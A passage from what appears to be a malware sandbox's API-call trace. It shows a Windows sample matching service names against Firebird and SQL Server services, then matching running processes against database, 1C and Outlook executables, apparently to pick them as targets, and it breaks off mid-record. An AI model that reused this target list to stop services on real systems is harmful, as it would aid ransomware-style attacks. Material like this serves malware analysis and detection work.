lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0094.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0094.657] lstrlenW (lpString="FontCache") returned 9 [0094.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0094.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0094.657] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0094.657] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0094.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0094.657] lstrlenW (lpString="gpsvc") returned 5 [0094.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0094.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0094.657] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0094.657] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0094.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0094.657] lstrlenW (lpString="iphlpsvc") returned 8 [0094.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0094.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0094.657] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0094.657] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0094.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0094.657] lstrlenW (lpString="LanmanServer") returned 12 [0094.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0094.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0094.657] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0094.657] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0094.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0094.657] lstrlenW (lpString="LanmanWorkstation") returned 17 [0094.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0094.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0094.657] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0094.657] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0094.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0094.657] lstrlenW (lpString="lmhosts") returned 7 [0094.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0094.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0094.658] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0094.658] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0094.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0094.658] lstrlenW (lpString="MMCSS") returned 5 [0094.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0094.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0094.658] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0094.658] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0094.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0094.658] lstrlenW (lpString="MpsSvc") returned 6 [0094.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0094.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0094.658] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0094.658] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0094.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0094.658] lstrlenW (lpString="Netman") returned 6 [0094.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0094.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0094.658] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0094.658] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0094.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0094.658] lstrlenW (lpString="netprofm") returned 8 [0094.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0094.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0094.658] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0094.658] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0094.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0094.658] lstrlenW (lpString="NlaSvc") returned 6 [0094.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0094.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0094.658] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0094.658] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0094.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0094.659] lstrlenW (lpString="nsi") returned 3 [0094.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0094.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0094.659] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0094.659] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0094.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0094.659] lstrlenW (lpString="PcaSvc") returned 6 [0094.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0094.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0094.659] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0094.659] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0094.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0094.659] lstrlenW (lpString="PlugPlay") returned 8 [0094.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0094.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0094.659] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0094.659] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0094.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0094.659] lstrlenW (lpString="Power") returned 5 [0094.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0094.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0094.659] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0094.659] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0094.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0094.659] lstrlenW (lpString="ProfSvc") returned 7 [0094.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0094.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0094.659] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0094.659] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0094.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0094.659] lstrlenW (lpString="RpcEptMapper") returned 12 [0094.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0094.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0094.659] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0094.660] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0094.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0094.660] lstrlenW (lpString="RpcSs") returned 5 [0094.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0094.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0094.660] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0094.660] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0094.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0094.660] lstrlenW (lpString="SamSs") returned 5 [0094.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0094.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0094.660] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0094.660] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0094.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0094.660] lstrlenW (lpString="Schedule") returned 8 [0094.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0094.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0094.660] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0094.660] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0094.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0094.660] lstrlenW (lpString="SENS") returned 4 [0094.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0094.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0094.660] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0094.660] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0094.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0094.660] lstrlenW (lpString="ShellHWDetection") returned 16 [0094.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0094.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0094.660] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0094.660] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0094.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0094.660] lstrlenW (lpString="Spooler") returned 7 [0094.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0094.661] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0094.661] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0094.661] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0094.661] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0094.661] lstrlenW (lpString="swprv") returned 5 [0094.661] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0094.661] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0094.661] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0094.661] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0094.661] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0094.661] lstrlenW (lpString="SysMain") returned 7 [0094.661] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0094.661] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0094.661] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0094.661] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0094.661] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0094.661] lstrlenW (lpString="Themes") returned 6 [0094.661] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0094.661] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0094.661] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0094.661] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0094.661] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0094.661] lstrlenW (lpString="TrkWks") returned 6 [0094.661] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0094.661] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0094.661] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0094.661] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0094.661] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0094.661] lstrlenW (lpString="UxSms") returned 5 [0094.661] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0094.661] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0094.661] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0094.661] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0094.662] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0094.662] lstrlenW (lpString="VSS") returned 3 [0094.662] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0094.662] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0094.662] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0094.662] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0094.662] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0094.662] lstrlenW (lpString="WdiServiceHost") returned 14 [0094.662] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0094.662] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0094.662] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0094.662] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0094.662] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0094.662] lstrlenW (lpString="WdiSystemHost") returned 13 [0094.662] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0094.662] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0094.662] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0094.662] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0094.662] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0094.665] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0094.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0094.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0094.665] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0094.665] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0094.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0094.665] lstrlenW (lpString="Winmgmt") returned 7 [0094.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0094.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0094.665] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0094.665] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0094.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0094.665] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x65b460 | out: hHeap=0x5d0000) returned 1 [0094.665] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x204 [0094.671] Process32FirstW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0094.672] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0094.672] lstrlenW (lpString="System") returned 6 [0094.672] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0094.673] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0094.673] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0094.673] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0094.673] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0094.673] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0094.673] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0094.673] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0094.673] lstrlenW (lpString="smss.exe") returned 8 [0094.673] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0094.673] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0094.674] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0094.674] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0094.674] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0094.674] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0094.674] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0094.674] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0094.674] lstrlenW (lpString="csrss.exe") returned 9 [0094.674] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0094.674] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0094.674] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0094.675] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0094.675] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0094.675] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0094.675] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0094.675] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0094.675] lstrlenW (lpString="wininit.exe") returned 11 [0094.675] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0094.675] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0094.675] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0094.676] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0094.677] lstrlenW (lpString="csrss.exe") returned 9 [0094.677] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0094.677] lstrlenW (lpString="winlogon.exe") returned 12 [0094.677] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0094.678] lstrlenW (lpString="services.exe") returned 12 [0094.678] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0094.679] lstrlenW (lpString="lsass.exe") returned 9 [0094.679] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0094.680] lstrlenW (lpString="lsm.exe") returned 7 [0094.680] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.680] lstrlenW (lpString="svchost.exe") returned 11 [0094.680] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.681] lstrlenW (lpString="svchost.exe") returned 11 [0094.681] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.682] lstrlenW (lpString="svchost.exe") returned 11 [0094.682] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.683] lstrlenW (lpString="svchost.exe") returned 11 [0094.683] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.683] lstrlenW (lpString="svchost.exe") returned 11 [0094.684] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0094.684] lstrlenW (lpString="audiodg.exe") returned 11 [0094.684] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.685] lstrlenW (lpString="svchost.exe") returned 11 [0094.685] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.686] lstrlenW (lpString="svchost.exe") returned 11 [0094.686] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0095.079] lstrlenW (lpString="dwm.exe") returned 7 [0095.080] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0095.090] lstrlenW (lpString="explorer.exe") returned 12 [0095.090] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0095.092] lstrlenW (lpString="spoolsv.exe") returned 11 [0095.092] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0095.093] lstrlenW (lpString="svchost.exe") returned 11 [0095.093] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0095.094] lstrlenW (lpString="taskhost.exe") returned 12 [0095.094] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0095.095] lstrlenW (lpString="taskeng.exe") returned 11 [0095.095] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, 